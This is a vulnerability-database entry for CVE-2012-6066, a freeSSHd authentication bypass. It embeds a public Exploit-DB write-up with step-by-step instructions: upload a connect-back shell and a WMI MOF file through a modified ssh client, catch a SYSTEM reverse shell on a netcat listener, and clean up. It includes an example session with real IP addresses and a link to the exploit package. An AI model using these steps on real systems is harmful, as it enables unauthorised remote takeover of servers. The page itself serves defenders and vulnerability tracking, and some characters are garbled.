CVE-2012-6066

critical
Published 2012-12-04 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

freeSSHd.exe in freeSSHd through 1.2.6 allows remote attackers to bypass authentication via a crafted session, as demonstrated by an OpenSSH client with modified versions of ssh.c and sshconnect2.c.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-23079 remote windows verified text ยท 3 KB
kingcope ยท 2012-12-02

freeFTPd 1.2.6 - Remote Authentication Bypass

text exploit Source: Exploit-DB
FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting!
Discovered & Exploited By Kingcope
Year 2011
--

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23079.zip

Example banner: WeOnlyDo-wodFTPD 2.3.6.165

This package includes all you need to successfully root any version of FreeFTPD:

* Modified version of ssh.exe (FreeFTPD authentication bypass)
* sftp.exe for connecting to the server
* nullevent.exe connect back shell that is uploaded to the server
* nullevent.mof file which is uploaded to the server to execute the connect back shell
* MSVCR100.dll that is needed by nullevent.exe 
* scan logs for your pleasure!

We make use of the STUXNET technique to execute code, So let's go:

1.) Setup a netcat on a host you have, firewall open on the listening port
2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
4.) upload (put) nullevent.exe: put nullevent.exe
5.) upload (put) MSVCR100.dll: put MSVCR100.dll
6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
8.)  Enjoy!
9.)  Enjoy!
10.) Enjoy!

Example exploitation session:

C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe 83.241.214.171
Could not create directory '/home/KC/.ssh'.
The authenticity of host '83.241.214.171 (83.241.214.171)' can't be established.
RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts).
Connected to 83.241.214.171.
sftp> put nullevent.exe
Uploading nullevent.exe to /nullevent.exe
nullevent.exe                                                                         100% 7168     7.0KB/s   00:00
sftp> put MSVCR100.dll
Uploading MSVCR100.dll to /MSVCR100.dll
MSVCR100.dll                                                                          100%  751KB  22.8KB/s   00:33
sftp> put nullevent.mof wbem/mof/nullevent.mof
Uploading nullevent.mof to /wbem/mof/nullevent.mof
nullevent.mof                                                                         100%  691     0.7KB/s   00:00
sftp>

[root@vs2067037 ~]# nc -v -l 443
Connection from 83.231.224.193 port 443 [tcp/https] accepted
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system
EDB-24133 remote windows verified
Metasploit ยท 2013-01-15

freeSSHd 1.2.6 - Authentication Bypass (Metasploit)

Source code queued for fetch โ€” refresh in a moment.
EDB-23080 remote windows verified
kingcope ยท 2012-12-02

freeSSHd 2.1.3 - Remote Authentication Bypass

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Freesshd Authentication Bypass
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
freesshdfreesshd{"endIncluding":"1.2.6"}
freesshdfreesshd1.2.1
freesshdfreesshd1.2.2

References

CWEs

CWE-287

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.